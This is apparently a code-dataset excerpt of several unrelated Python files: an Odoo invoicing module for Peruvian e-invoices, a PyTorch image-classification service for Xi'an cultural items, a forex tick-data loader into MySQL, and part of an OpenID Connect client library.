self.env[\"account.journal\"].search(\r\n [\r\n [\"invoice_type_code_id\", \"=\", self.tipo_documento]\r\n ]\r\n )\r\n\r\n if len(journal_ids) > 0 and self.tipo_documento:\r\n journal_id = journal_ids[0].id\r\n else:\r\n raise UserError(\"No se pudo generar el comprobante\")\r\n if not journal_id:\r\n raise UserError(_('Please define an accounting sales journal for this company.'))\r\n invoice_vals = {\r\n 'name': self.client_order_ref or '',\r\n 'origin': self.name,\r\n 'type': 'out_invoice',\r\n 'account_id': self.partner_invoice_id.property_account_receivable_id.id,\r\n 'partner_id': self.partner_invoice_id.id,\r\n 'partner_shipping_id': self.partner_shipping_id.id,\r\n 'currency_id': self.pricelist_id.currency_id.id,\r\n 'comment': self.note,\r\n 'payment_term_id': self.payment_term_id.id,\r\n 'fiscal_position_id': self.fiscal_position_id.id or self.partner_invoice_id.property_account_position_id.id,\r\n 'company_id': self.company_id.id,\r\n 'user_id': self.user_id and self.user_id.id,\r\n 'team_id': self.team_id.id,\r\n \"invoice_type_code\": invoice_type_code,\r\n \"journal_id\":journal_id,\r\n \"descuento_global\":self.descuento_global\r\n }\r\n return invoice_vals\r\n\r\n total_venta_gravado=fields.Monetary(\r\n string=\"Gravado\",\r\n default=0.0,\r\n compute=\"_amount_all\", \r\n currency_field='currency_id')\r\n total_venta_inafecto=fields.Monetary(\r\n string=\"Inafecto\",\r\n default=0.0,\r\n compute=\"_amount_all\")\r\n total_venta_exonerada=fields.Monetary(\r\n string=\"Exonerado\",\r\n default=0.0,\r\n compute=\"_amount_all\", \r\n currency_field='currency_id')\r\n total_venta_gratuito=fields.Monetary(\r\n string=\"Gratuita\",\r\n default=0.0,\r\n compute=\"_amount_all\", \r\n currency_field='currency_id')\r\n total_descuentos=fields.Monetary(\r\n string=\"Total Descuentos\",\r\n default=0.0,\r\n compute=\"_amount_all\", \r\n currency_field='currency_id')\r\n \r\n descuento_global = fields.Float(\r\n string=\"Descuento Global (%)\", \r\n readonly=True, \r\n states={'draft': [('readonly', False)]}, \r\n default=0.0)\r\n \r\n total_descuento_global = fields.Monetary(\r\n string=\"Total Descuentos Global\",\r\n default=0.0,\r\n compute=\"_amount_all\", \r\n currency_field='currency_id')\r\n \r\n \r\n @api.depends('order_line','order_line.product_id','order_line.price_unit','order_line.product_uom_qty','order_line.tax_id','order_line.discount','descuento_global')\r\n def _amount_all(self):\r\n for order in self:\r\n total_descuento_global = sum(\r\n [\r\n line.price_subtotal \r\n for line in order.order_line \r\n if len([line.price_subtotal for line_tax in line.tax_id \r\n if line_tax.tipo_afectacion_igv.code not in [\"31\",\"32\",\"33\",\"34\",\"35\",\"36\"] ] )\r\n ])*order.descuento_global/100.0\r\n\r\n\r\n total_venta_gravado = sum(\r\n [\r\n line.price_subtotal \r\n for line in order.order_line \r\n if len([line.price_subtotal for line_tax in line.tax_id \r\n if line_tax.tipo_afectacion_igv.code in [\"10\"] ] )\r\n ])*(1-order.descuento_global/100.0)\r\n \r\n total_venta_inafecto = sum(\r\n [\r\n line.price_subtotal \r\n for line in order.order_line \r\n if len(\r\n [line.price_subtotal for line_tax in line.tax_id \r\n if line_tax.tipo_afectacion_igv.code in [\"40\",\"30\"] ] )\r\n ])*(1-order.descuento_global/100.0)\r\n\r\n total_venta_exonerada = sum(\r\n [\r\n line.price_subtotal \r\n for line in order.order_line \r\n if len(\r\n [line.price_subtotal for line_tax in line.tax_id \r\n if line_tax.tipo_afectacion_igv.code in [\"20\"] ] )\r\n ])*(1-order.descuento_global/100.0)\r\n\r\n total_venta_gratuito = sum(\r\n [\r\n line.price_unit*line.product_uom_qty\r\n for line in order.order_line \r\n if len([line.price_subtotal for line_tax in line.tax_id \r\n if line_tax.tipo_afectacion_igv.code in [\"31\",\"32\",\"33\",\"34\",\"35\",\"36\"] ] )\r\n ])\r\n\r\n total_descuentos = sum(\r\n [\r\n ((line.price_subtotal/ (1-(line.discount/100.0)))*line.discount/100.0)\r\n for line in order.order_line\r\n if line.discount <= 100\r\n ])+ total_descuento_global\r\n \r\n\r\n amount_tax = sum([line.price_tax for line in order.order_line])*(1-order.descuento_global/100)\r\n \r\n order.update({\r\n 'total_descuento_global':total_descuento_global,\r\n 'total_venta_gravado':total_venta_gravado,\r\n 'total_venta_inafecto':total_venta_inafecto,\r\n 'total_venta_exonerada':total_venta_exonerada,\r\n 'total_venta_gratuito':total_venta_gratuito,\r\n 'total_descuentos':total_descuentos,\r\n 'amount_tax':amount_tax,\r\n 'amount_total':total_venta_gravado + total_venta_exonerada + total_venta_inafecto + amount_tax\r\n })\r\n\r\n\r\nclass SaleAdvancePayment(models.TransientModel):\r\n _inherit = \"sale.advance.payment.inv\"\r\n\r\n\r\n def _create_invoice(self, order, so_line, amount):\r\n # os.system(\"echo '{} '\".format(\"_create_invoices\"))\r\n inv_obj = self.env['account.invoice']\r\n ir_property_obj = self.env['ir.property']\r\n ##############################\r\n invoice_type_code = order.tipo_documento\r\n journal_ids = self.env[\"account.journal\"].search(\r\n [\r\n [\"invoice_type_code_id\", \"=\", order.tipo_documento]\r\n ]\r\n )\r\n\r\n if len(journal_ids) > 0 and order.tipo_documento:\r\n journal_id = journal_ids[0].id\r\n else:\r\n raise UserError(\"No se pudo generar el comprobante\")\r\n # os.system(\"echo '{} {}'\".format(journal_id,invoice_type_code))\r\n \r\n ##############################\r\n\r\n account_id = False\r\n if self.product_id.id:\r\n account_id = order.fiscal_position_id.map_account(self.product_id.property_account_income_id or self.product_id.categ_id.property_account_income_categ_id).id\r\n if not account_id:\r\n inc_acc = ir_property_obj.get('property_account_income_categ_id', 'product.category')\r\n account_id = order.fiscal_position_id.map_account(inc_acc).id if inc_acc else False\r\n if not account_id:\r\n raise UserError(\r\n _('There is no income account defined for this product: \"%s\". You may have to install a chart of account from Accounting app, settings menu.') %\r\n (self.product_id.name,))\r\n\r\n if self.amount <= 0.00:\r\n raise UserError(_('The value of the down payment amount must be positive.'))\r\n context = {'lang': order.partner_id.lang}\r\n if self.advance_payment_method == 'percentage':\r\n amount = order.amount_untaxed * self.amount / 100\r\n name = _(\"Down payment of %s%%\") % (self.amount,)\r\n else:\r\n amount = self.amount\r\n name = _('Down Payment')\r\n del context\r\n taxes = self.product_id.taxes_id.filtered(lambda r: not order.company_id or r.company_id == order.company_id)\r\n if order.fiscal_position_id and taxes:\r\n tax_ids = order.fiscal_position_id.map_tax(taxes).ids\r\n else:\r\n tax_ids = taxes.ids\r\n\r\n invoice = inv_obj.create({\r\n 'name': order.client_order_ref or order.name,\r\n 'origin': order.name,\r\n 'type': 'out_invoice',\r\n 'reference': False,\r\n 'account_id': order.partner_id.property_account_receivable_id.id,\r\n 'partner_id': order.partner_invoice_id.id,\r\n 'partner_shipping_id': order.partner_shipping_id.id,\r\n \"invoice_type_code\": invoice_type_code,\r\n \"journal_id\":journal_id,\r\n 'invoice_line_ids': [(0, 0, {\r\n 'name': name,\r\n 'origin': order.name,\r\n 'account_id': account_id,\r\n 'price_unit': amount,\r\n 'quantity': 1.0,\r\n 'discount': 0.0,\r\n 'uom_id': self.product_id.uom_id.id,\r\n 'product_id': self.product_id.id,\r\n 'sale_line_ids': [(6, 0, [so_line.id])],\r\n 'invoice_line_tax_ids': [(6, 0, tax_ids)],\r\n 'account_analytic_id': order.analytic_account_id.id or False,\r\n })],\r\n 'currency_id': order.pricelist_id.currency_id.id,\r\n 'payment_term_id': order.payment_term_id.id,\r\n 'fiscal_position_id': order.fiscal_position_id.id or order.partner_id.property_account_position_id.id,\r\n 'team_id': order.team_id.id,\r\n 'user_id': order.user_id.id,\r\n 'comment': order.note,\r\n })\r\n invoice.compute_taxes()\r\n\r\n return invoice\r\n \r\n\r\n\r\n","sub_path":"addons/efact/models/sale_order/sale_order.py","file_name":"sale_order.py","file_ext":"py","file_size_in_byte":12814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"302251934","text":"# -*- coding: utf-8 -*-\nfrom PIL import Image\nimport torch\nimport torch.nn.functional as F\nimport torchvision.transforms as transforms\nfrom model_service.pytorch_model_service import PTServingBaseService\nimport time\nfrom metric.metrics_manager import MetricsManager\nimport log\nlogger = log.getLogger(__name__)\n\nfrom model.deploy_models.build_model import PrepareModel\n\n\nclass ImageClassificationService(PTServingBaseService):\n def __init__(self, model_name, model_path):\n \"\"\"在服务器上进行前向推理,得到结果\n Args:\n\n \"\"\"\n logger.info('Creating ImageClassificationService')\n self.model_name = model_name\n self.model_path = model_path\n self.classes_num = 54\n\n self.use_cuda = False\n self.label_id_name_dict = \\\n {\n \"0\": \"工艺品/仿唐三彩\",\n \"1\": \"工艺品/仿宋木叶盏\",\n \"2\": \"工艺品/布贴绣\",\n \"3\": \"工艺品/景泰蓝\",\n \"4\": \"工艺品/木马勺脸谱\",\n \"5\": \"工艺品/柳编\",\n \"6\": \"工艺品/葡萄花鸟纹银香囊\",\n \"7\": \"工艺品/西安剪纸\",\n \"8\": \"工艺品/陕历博唐妞系列\",\n \"9\": \"景点/关中书院\",\n \"10\": \"景点/兵马俑\",\n \"11\": \"景点/南五台\",\n \"12\": \"景点/大兴善寺\",\n \"13\": \"景点/大观楼\",\n \"14\": \"景点/大雁塔\",\n \"15\": \"景点/小雁塔\",\n \"16\": \"景点/未央宫城墙遗址\",\n \"17\": \"景点/水陆庵壁塑\",\n \"18\": \"景点/汉长安城遗址\",\n \"19\": \"景点/西安城墙\",\n \"20\": \"景点/钟楼\",\n \"21\": \"景点/长安华严寺\",\n \"22\": \"景点/阿房宫遗址\",\n \"23\": \"民俗/唢呐\",\n \"24\": \"民俗/皮影\",\n \"25\": \"特产/临潼火晶柿子\",\n \"26\": \"特产/山茱萸\",\n \"27\": \"特产/玉器\",\n \"28\": \"特产/阎良甜瓜\",\n \"29\": \"特产/陕北红小豆\",\n \"30\": \"特产/高陵冬枣\",\n \"31\": \"美食/八宝玫瑰镜糕\",\n \"32\": \"美食/凉皮\",\n \"33\": \"美食/凉鱼\",\n \"34\": \"美食/德懋恭水晶饼\",\n \"35\": \"美食/搅团\",\n \"36\": \"美食/枸杞炖银耳\",\n \"37\": \"美食/柿子饼\",\n \"38\": \"美食/浆水面\",\n \"39\": \"美食/灌汤包\",\n \"40\": \"美食/烧肘子\",\n \"41\": \"美食/石子饼\",\n \"42\": \"美食/神仙粉\",\n \"43\": \"美食/粉汤羊血\",\n \"44\": \"美食/羊肉泡馍\",\n \"45\": \"美食/肉夹馍\",\n \"46\": \"美食/荞面饸饹\",\n \"47\": \"美食/菠菜面\",\n \"48\": \"美食/蜂蜜凉粽子\",\n \"49\": \"美食/蜜饯张口酥饺\",\n \"50\": \"美食/西安油茶\",\n \"51\": \"美食/贵妃鸡翅\",\n \"52\": \"美食/醪糟\",\n \"53\": \"美食/金线油塔\"\n } \n \n self.model = self.__prepare()\n self.model.eval()\n self.normalize = transforms.Normalize(\n mean=[0.485, 0.456, 0.406],\n std=[0.229, 0.224, 0.225]\n )\n\n self.transforms = transforms.Compose([\n transforms.Resize([416, 416]),\n transforms.ToTensor(),\n self.normalize\n ])\n\n def inference(self, data):\n \"\"\"\n Wrapper function to run preprocess, inference and postprocess functions.\n\n Parameters\n ----------\n data : map of object\n Raw input from request.\n\n Returns\n -------\n list of outputs to be sent back to client.\n data to be sent back\n \"\"\"\n logger.info('At inference')\n pre_start_time = time.time()\n data = self._preprocess(data)\n infer_start_time = time.time()\n\n # Update preprocess latency metric\n pre_time_in_ms = (infer_start_time - pre_start_time) * 1000\n logger.info('preprocess time: ' + str(pre_time_in_ms) + 'ms')\n\n if self.model_name + '_LatencyPreprocess' in MetricsManager.metrics:\n MetricsManager.metrics[self.model_name + '_LatencyPreprocess'].update(pre_time_in_ms)\n\n data = self._inference(data)\n infer_end_time = time.time()\n infer_in_ms = (infer_end_time - infer_start_time) * 1000\n\n logger.info('infer time: ' + str(infer_in_ms) + 'ms')\n data = self._postprocess(data)\n\n # Update inference latency metric\n post_time_in_ms = (time.time() - infer_end_time) * 1000\n logger.info('postprocess time: ' + str(post_time_in_ms) + 'ms')\n if self.model_name + '_LatencyInference' in MetricsManager.metrics:\n MetricsManager.metrics[self.model_name + '_LatencyInference'].update(post_time_in_ms)\n\n # Update overall latency metric\n if self.model_name + '_LatencyOverall' in MetricsManager.metrics:\n MetricsManager.metrics[self.model_name + '_LatencyOverall'].update(pre_time_in_ms + post_time_in_ms)\n\n logger.info('latency: ' + str(pre_time_in_ms + infer_in_ms + post_time_in_ms) + 'ms')\n data['latency_time'] = pre_time_in_ms + infer_in_ms + post_time_in_ms\n return data\n\n def _inference(self, data):\n \"\"\"实际推理请求方法\n \"\"\"\n logger.info('At _inference')\n\n # 对单张样本得到预测结果\n img = data[\"input_img\"]\n img = img.unsqueeze(0)\n if self.use_cuda:\n img = img.cuda()\n with torch.no_grad():\n pred_score = self.model(img)\n pred_score = F.softmax(pred_score.data, dim=1)\n if pred_score is not None:\n pred_label = torch.argsort(pred_score[0], descending=True)[:1][0].item()\n result = {'result': self.label_id_name_dict[str(pred_label)]}\n else:\n result = {'result': 'predict score is None'}\n logger.info('result:' + str(pred_label))\n return result\n\n def __prepare(self):\n \"\"\"准备模型\n \"\"\"\n prepare_model = PrepareModel()\n model = prepare_model.create_model('se_resnext101_32x4d', self.classes_num, drop_rate=0, pretrained=False)\n\n if torch.cuda.is_available():\n logger.info('Using GPU for inference')\n self.use_cuda = True\n checkpoint = torch.load(self.model_path)\n model.load_state_dict(checkpoint['state_dict'])\n model = torch.nn.DataParallel(model).cuda()\n else:\n logger.info('Using CPU for inference')\n checkpoint = torch.load(self.model_path, map_location='cpu')\n model.load_state_dict(checkpoint['state_dict'])\n\n return model\n\n def _preprocess(self, data):\n \"\"\"预处理方法,在推理请求前调用,用于将API接口用户原始请求数据转换为模型期望输入数据\n \"\"\"\n preprocessed_data = {}\n for k, v in data.items():\n for _, file_content in v.items():\n img = Image.open(file_content)\n img = self.transforms(img)\n preprocessed_data[k] = img\n return preprocessed_data\n\n def _postprocess(self, data):\n \"\"\"后处理方法,在推理请求完成后调用,用于将模型输出转换为API接口输出\n \"\"\"\n return data\n","sub_path":"online-service/model/customize_service.py","file_name":"customize_service.py","file_ext":"py","file_size_in_byte":7634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"64"} +{"seq_id":"12435159","text":"import zipfile\r\nimport os\r\nimport pymysql\r\nfrom datetime import datetime\r\nimport time\r\nimport io\r\nimport pass_word\r\n\r\nfrom pytz import timezone\r\nimport pytz\r\n\r\ndef ConvertTwoStringsIntoDateTime(str1,str2):\r\n return datetime.strptime(str1+\" \"+str2,\"%Y-%m-%d %H:%M:%S\")\r\n\r\ndef LoadLastQuoteFromDB(ccypair):\r\n myconn = pymysql.connect(host='127.0.0.1', user='valery', passwd=pass_word.var1, db=pass_word.var2)\r\n mycursor = myconn.cursor()\r\n mycursor.execute(\"SELECT utc_quotedate, utc_quotetime from %s_new1 order by rowid desc limit 1\" % (ccypair))\r\n result_array = mycursor.fetchone();\r\n myconn.commit()\r\n myconn.close()\r\n\r\n #utc_datetime = datetime.strptime((str(result_array[0])+\" \"+str(result_array[1])),\"%Y-%m-%d %H:%M:%S\")\r\n #utc_tz = timezone('UTC')\r\n #utc_datetime = utc_tz.localize(mydatetime)\r\n\r\n if((result_array!=None) and (result_array[0]!=None) and (result_array[1]!=None)):\r\n return ConvertTwoStringsIntoDateTime(str(result_array[0]),str(result_array[1]))\r\n else:\r\n return ConvertTwoStringsIntoDateTime(str(\"1900-01-01\"),str(\"10:00:00\"))\r\n\r\ndef ParseString(mystr):\r\n mystr=mystr.replace('\\n','')\r\n mystr=mystr.replace('\\r','')\r\n myarray = mystr.split(',')\r\n\r\n #2009-12-31 00:00:34.125,1.4338,1.4337,1.5,1.9\r\n\r\n mydatetimems = myarray[0]\r\n myoffer = myarray[1]\r\n mybid = myarray[2]\r\n myoffervol = myarray[3]\r\n mybidvol = myarray[4]\r\n\r\n (mydate,myms) = mydatetimems.split(\".\")\r\n myms = float(\"0.\"+myms)\r\n\r\n utc_tz = timezone('UTC')\r\n utc_datetime = utc_tz.localize(datetime.strptime(mydate,\"%Y-%m-%d %H:%M:%S\"))\r\n eastern_tz = timezone('US/Eastern')\r\n eastern_datetime = utc_datetime.astimezone(eastern_tz)\r\n\r\n return (utc_datetime.strftime(\"%Y-%m-%d\"),utc_datetime.strftime(\"%H:%M:%S\"),eastern_datetime.strftime(\"%Y-%m-%d\"),eastern_datetime.strftime(\"%H:%M:%S\"),myms,mybid,myoffer,mybidvol,myoffervol)\r\n\r\n\r\ntofolder = r\"../dukascopy_data/\"\r\n\r\n#EURUSD\r\n#files = [\"EURUSD_UTC_Ticks_Bid_2016.01.01_2017.04.12.csv\",\"EURUSD_UTC_Ticks_Bid_2017.04.01_2017.04.27.csv\"]\r\n\r\n#GBPUSD\r\n#files = [\"GBPUSD_2009_2012aa\",\"GBPUSD_2009_2012ab\",\"GBPUSD_UTC_Ticks_Bid_2012.04.01_2015.01.31.csv\",\"GBPUSD_2015_2017_aa\",\"GBPUSD_2015_2017_ab\",\"GBPUSD_2015_2017_ac\",\"GBPUSD_2015_2017_ad\"]\r\n\r\n#USDJPY\r\nfiles = [\"USDJPY_UTC_Ticks_Bid_2008.12.31_2011.01.10.csv\",\"USDJPY_UTC_Ticks_Bid_2011.01.01_2013.01.07.csv\",\"USDJPY_UTC_Ticks_Bid_2013.01.01_2015.01.05.csv\",\"USDJPY_UTC_Ticks_Bid_2015_2017_aa\",\"USDJPY_UTC_Ticks_Bid_2015_2017_ab\",\"USDJPY_UTC_Ticks_Bid_2017.04.01_2017.04.27.csv\"]\r\n\r\n##files = [\"USDJPY_UTC_Ticks_Bid_2015.01.01_2017.04.13.csv\"]\r\n##files = [\"USDJPY_UTC_Ticks_Bid_2017.04.01_2017.04.27.csv\"]\r\n\r\nfor filename in files:\r\n\r\n ccypair = filename[0:6].lower();\r\n print(\"ccypair \",ccypair)\r\n\r\n utc_datetime = LoadLastQuoteFromDB(ccypair.lower())\r\n\r\n print(\"loading \", filename)\r\n with open(tofolder+filename,'r') as volf:\r\n mystringsarray = volf.readlines()\r\n volf.closed\r\n print(\"finished loading \",filename)\r\n\r\n counter = 0\r\n if_skip_quotes = True\r\n\r\n mysql_orders = []\r\n range_start = 0\r\n\r\n if(mystringsarray[0].find(\"Time\")!=-1):\r\n range_start=1\r\n\r\n print(\"starting parsing the file from \",range_start,\" line\")\r\n\r\n for i in range(range_start,len(mystringsarray)):\r\n counter+=1\r\n\r\n myline = mystringsarray[i]\r\n #myline = myline.replace(\"\\n\",\"\")\r\n\r\n (utc_date,utc_time,eastern_date,eastern_time,myms,mybid,myoffer,mybidvol,myoffervol) = ParseString(myline)\r\n\r\n if(if_skip_quotes):\r\n current_utc_datetime = ConvertTwoStringsIntoDateTime(str(utc_date),str(utc_time))\r\n if(utc_datetime= 3.5\n _decode_err = ValueError\nelse:\n _decode_err = JSONDecodeError\n\nfrom oiccli import rndstr, webfinger\nfrom oiccli.exception import ConfigurationError\nfrom oiccli.exception import ParameterError\nfrom oiccli.oauth2 import service\nfrom oiccli.oauth2.service import get_state\nfrom oiccli.oic.utils import construct_request_uri\nfrom oiccli.oic.utils import request_object_encryption\nfrom oiccli.service import Service\nfrom oiccli.webfinger import JRD\nfrom oiccli.webfinger import OIC_ISSUER\n\nfrom oicmsg import oic\nfrom oicmsg.exception import MissingParameter\nfrom oicmsg.exception import MissingRequiredAttribute\nfrom oicmsg.oauth2 import ErrorResponse\nfrom oicmsg.oauth2 import Message\nfrom oicmsg.oic import make_openid_request\n\n__author__ = 'Roland Hedberg'\n\nlogger = logging.getLogger(__name__)\n\nPREFERENCE2PROVIDER = {\n # \"require_signed_request_object\": \"request_object_algs_supported\",\n \"request_object_signing_alg\": \"request_object_signing_alg_values_supported\",\n \"request_object_encryption_alg\":\n \"request_object_encryption_alg_values_supported\",\n \"request_object_encryption_enc\":\n \"request_object_encryption_enc_values_supported\",\n \"userinfo_signed_response_alg\": \"userinfo_signing_alg_values_supported\",\n \"userinfo_encrypted_response_alg\":\n \"userinfo_encryption_alg_values_supported\",\n \"userinfo_encrypted_response_enc\":\n \"userinfo_encryption_enc_values_supported\",\n \"id_token_signed_response_alg\": \"id_token_signing_alg_values_supported\",\n \"id_token_encrypted_response_alg\":\n \"id_token_encryption_alg_values_supported\",\n \"id_token_encrypted_response_enc\":\n \"id_token_encryption_enc_values_supported\",\n \"default_acr_values\": \"acr_values_supported\",\n \"subject_type\": \"subject_types_supported\",\n \"token_endpoint_auth_method\": \"token_endpoint_auth_methods_supported\",\n \"token_endpoint_auth_signing_alg\":\n \"token_endpoint_auth_signing_alg_values_supported\",\n \"response_types\": \"response_types_supported\",\n 'grant_types': 'grant_types_supported'\n}\n\nPROVIDER2PREFERENCE = dict([(v, k) for k, v in PREFERENCE2PROVIDER.items()])\n\nPROVIDER_DEFAULT = {\n \"token_endpoint_auth_method\": \"client_secret_basic\",\n \"id_token_signed_response_alg\": \"RS256\",\n}\n\n\nclass Authorization(service.Authorization):\n msg_type = oic.AuthorizationRequest\n response_cls = oic.AuthorizationResponse\n error_msg = oic.AuthorizationErrorResponse\n\n def __init__(self, httplib=None, keyjar=None, client_authn_method=None,\n conf=None):\n service.Authorization.__init__(self, httplib, keyjar,\n client_authn_method, conf=conf)\n self.default_request_args = {'scope': ['openid']}\n self.pre_construct = [self.oic_pre_construct]\n self.post_construct = [self.oic_post_construct]\n\n def oic_pre_construct(self, cli_info, request_args=None, **kwargs):\n if request_args is None:\n request_args = {}\n\n try:\n _rt = request_args[\"response_type\"]\n except KeyError:\n _rt = cli_info.behaviour['response_types'][0]\n request_args[\"response_type\"] = _rt\n\n if \"token\" in _rt or \"id_token\" in _rt:\n if \"nonce\" not in request_args:\n request_args[\"nonce\"] = rndstr(32)\n\n post_args = {}\n for attr in [\"request_object_signing_alg\", \"algorithm\", 'sig_kid']:\n try:\n post_args[attr] = kwargs[attr]\n except KeyError:\n pass\n else:\n del kwargs[attr]\n\n if \"request_method\" in kwargs:\n if kwargs[\"request_method\"] == \"reference\":\n post_args['request_param'] = \"request_uri\"\n else:\n post_args['request_param'] = \"request\"\n del kwargs[\"request_method\"]\n\n try:\n response_mod = cli_info.behaviour['response_mode']\n except KeyError:\n pass\n else:\n if response_mod == 'form_post':\n request_args['response_mode'] = response_mod\n\n if 'state' not in request_args:\n request_args['state'] = cli_info.state_db.create_state(\n cli_info.issuer, request_args)\n\n return request_args, post_args\n\n def oic_post_construct(self, cli_info, req, **kwargs):\n if 'openid' in req['scope']:\n _response_type = req['response_type'][0]\n if 'id_token' in _response_type or 'code' in _response_type:\n if 'nonce' not in req:\n _nonce = rndstr(32)\n req['nonce'] = _nonce\n cli_info.state_db.bind_nonce_to_state(_nonce, req['state'])\n\n try:\n _request_param = kwargs['request_param']\n except KeyError:\n return req\n else:\n del kwargs['request_param']\n\n alg = None\n for arg in [\"request_object_signing_alg\", \"algorithm\"]:\n try: # Trumps everything\n alg = kwargs[arg]\n except KeyError:\n pass\n else:\n break\n\n if not alg:\n try:\n alg = cli_info.behaviour[\"request_object_signing_alg\"]\n except KeyError: # Use default\n alg = \"RS256\"\n\n kwargs[\"request_object_signing_alg\"] = alg\n\n if \"keys\" not in kwargs and alg and alg != \"none\":\n _kty = jws.alg2keytype(alg)\n try:\n _kid = kwargs[\"sig_kid\"]\n except KeyError:\n _kid = cli_info.kid[\"sig\"].get(_kty, None)\n\n kwargs[\"keys\"] = cli_info.keyjar.get_signing_key(_kty, kid=_kid)\n\n _req = make_openid_request(req, **kwargs)\n\n # Should the request be encrypted\n _req = request_object_encryption(_req, cli_info, **kwargs)\n\n if _request_param == \"request\":\n req[\"request\"] = _req\n else:\n try:\n _webname = cli_info.registration_response['request_uris'][0]\n filename = cli_info.filename_from_webname(_webname)\n except KeyError:\n filename, _webname = construct_request_uri(**kwargs)\n fid = open(filename, mode=\"w\")\n fid.write(_req)\n fid.close()\n req[\"request_uri\"] = _webname\n\n return req\n\n\nclass AccessToken(service.AccessToken):\n msg_type = oic.AccessTokenRequest\n response_cls = oic.AccessTokenResponse\n error_msg = oic.TokenErrorResponse\n\n def __init__(self, httplib=None, keyjar=None, client_authn_method=None,\n conf=None):\n service.AccessToken.__init__(\n self, httplib=httplib, keyjar=keyjar,\n client_authn_method=client_authn_method,\n conf=conf)\n self.post_parse_response = [self.oic_post_parse_response]\n\n def oic_post_parse_response(self, resp, cli_info, state='', **kwargs):\n cli_info.state_db.add_response(resp, state)\n try:\n _idt = resp['verified_id_token']\n except KeyError:\n pass\n else:\n try:\n if cli_info.state_db.nonce_to_state(_idt['nonce']) != state:\n raise ParameterError('Someone has messed with \"nonce\"')\n except KeyError:\n raise ValueError('Unknown nonce value')\n\n\nclass RefreshAccessToken(service.RefreshAccessToken):\n msg_type = oic.RefreshAccessTokenRequest\n response_cls = oic.AccessTokenResponse\n error_msg = oic.TokenErrorResponse\n\n\nclass WebFinger(Service):\n \"\"\"\n Implements RFC 7033\n \"\"\"\n msg_type = Message\n response_cls = JRD\n error_msg = ErrorResponse\n synchronous = True\n request = 'webfinger'\n http_method = 'GET'\n response_body_type = 'json'\n\n def __init__(self, httplib=None, keyjar=None, client_authn_method=None,\n conf=None):\n Service.__init__(self, httplib=httplib, keyjar=keyjar,\n client_authn_method=client_authn_method,\n conf=conf)\n self.webfinger = webfinger.WebFinger(httpd=self.httplib,\n default_rel=OIC_ISSUER)\n self.post_parse_response.append(self.wf_post_parse_response)\n\n @staticmethod\n def wf_post_parse_response(resp, client_info, state='', **kwargs):\n try:\n links = resp['links']\n except KeyError:\n raise MissingRequiredAttribute('links')\n else:\n for link in links:\n if link['rel'] == OIC_ISSUER:\n client_info.issuer = link['href']\n break\n return resp\n\n def request_info(self, cli_info, method=\"GET\", request_args=None,\n lax=False, **kwargs):\n\n try:\n _resource = kwargs['resource']\n except KeyError:\n try:\n _resource = cli_info.config['resource']\n except KeyError:\n raise MissingRequiredAttribute('resource')\n\n return {'uri': self.webfinger.query(_resource)}\n\n\nclass ProviderInfoDiscovery(service.ProviderInfoDiscovery):\n msg_type = oic.Message\n response_cls = oic.ProviderConfigurationResponse\n error_msg = ErrorResponse\n\n def __init__(self, httplib=None, keyjar=None, client_authn_method=None,\n conf=None):\n service.ProviderInfoDiscovery.__init__(\n self, httplib=httplib, keyjar=keyjar,\n client_authn_method=client_authn_method,conf=conf)\n # Should be done before any other\n self.post_parse_response.insert(0, self.oic_post_parse_response)\n\n def oic_post_parse_response(self, resp, cli_info, **kwargs):\n self.match_preferences(cli_info, resp, cli_info.issuer)\n\n @staticmethod\n def match_preferences(cli_info, pcr=None, issuer=None):\n \"\"\"\n Match the clients preferences against what the provider can do.\n This is to prepare for later client registration and or what \n functionality the client actually will use.\n In the client configuration the client preferences are expressed.\n These are then compared with the Provider Configuration information.\n If the Provider has left some claims out, defaults specified in the\n standard will be used.\n\n :param cli_info: :py:class:`oiccli.client_info.ClientInfo' instance\n :param pcr: Provider configuration response if available\n :param issuer: The issuer identifier\n \"\"\"\n if not pcr:\n pcr = cli_info.provider_info\n\n regreq = oic.RegistrationRequest\n\n for _pref, _prov in PREFERENCE2PROVIDER.items():\n try:\n vals = cli_info.client_prefs[_pref]\n except KeyError:\n continue\n\n try:\n _pvals = pcr[_prov]\n except KeyError:\n try:\n # If the provider have not specified use what the\n # standard says is mandatory if at all.\n _pvals = PROVIDER_DEFAULT[_pref]\n except KeyError:\n logger.info(\n 'No info from provider on {} and no default'.format(\n _pref))\n # Don't know what the right thing to do here\n # Fail or hope for the best, made it configurable\n if cli_info.strict_on_preferences:\n raise ConfigurationError(\n \"OP couldn't match preference:%s\" % _pref, pcr)\n else:\n _pvals = vals\n\n if isinstance(vals, six.string_types):\n if vals in _pvals:\n cli_info.behaviour[_pref] = vals\n else:\n vtyp = regreq.c_param[_pref]\n\n if isinstance(vtyp[0], list):\n cli_info.behaviour[_pref] = []\n for val in vals:\n if val in _pvals:\n cli_info.behaviour[_pref].append(val)\n else:\n for val in vals:\n if val in _pvals:\n cli_info.behaviour[_pref] = val\n break\n\n if _pref not in cli_info.behaviour:\n raise ConfigurationError(\n \"OP couldn't match preference:%s\" % _pref, pcr)\n\n for key, val in cli_info.client_prefs.items():\n if key in cli_info.behaviour:\n continue\n\n try:\n vtyp = regreq.c_param[key]\n if isinstance(vtyp[0], list):\n pass\n elif isinstance(val, list) and not isinstance(val,\n six.string_types):\n val = val[0]\n except KeyError:\n pass\n if key not in PREFERENCE2PROVIDER:\n cli_info.behaviour[key] = val\n\n logger.debug('cli_info behaviour: {}'.format(cli_info.behaviour))\n\n\nclass Registration(Service):\n msg_type = oic.RegistrationRequest\n response_cls = oic.RegistrationResponse\n error_msg = ErrorResponse\n endpoint_name = 'registration_endpoint'\n synchronous = True\n request = 'registration'\n body_type = 'json'\n http_method = 'POST'\n\n def __init__(self, httplib=None, keyjar=None, client_authn_method=None,\n conf=None):\n Service.__init__(self, httplib=httplib, keyjar=keyjar,\n client_authn_method=client_authn_method,\n conf=conf)\n self.pre_construct = [self.oic_pre_construct]\n self.post_parse_response.append(self.oic_post_parse_response)\n\n def oic_pre_construct(self, cli_info, request_args=None, **kwargs):\n \"\"\"\n Create a registration request\n\n :param kwargs: parameters to the registration request\n :return:\n \"\"\"\n for prop in self.msg_type.c_param.keys():\n if prop in request_args:\n continue\n try:\n request_args[prop] = cli_info.behaviour[prop]\n except KeyError:\n pass\n\n if \"post_logout_redirect_uris\" not in request_args:\n try:\n request_args[\n \"post_logout_redirect_uris\"] = \\\n cli_info.post_logout_redirect_uris\n except AttributeError:\n pass\n\n if \"redirect_uris\" not in request_args:\n 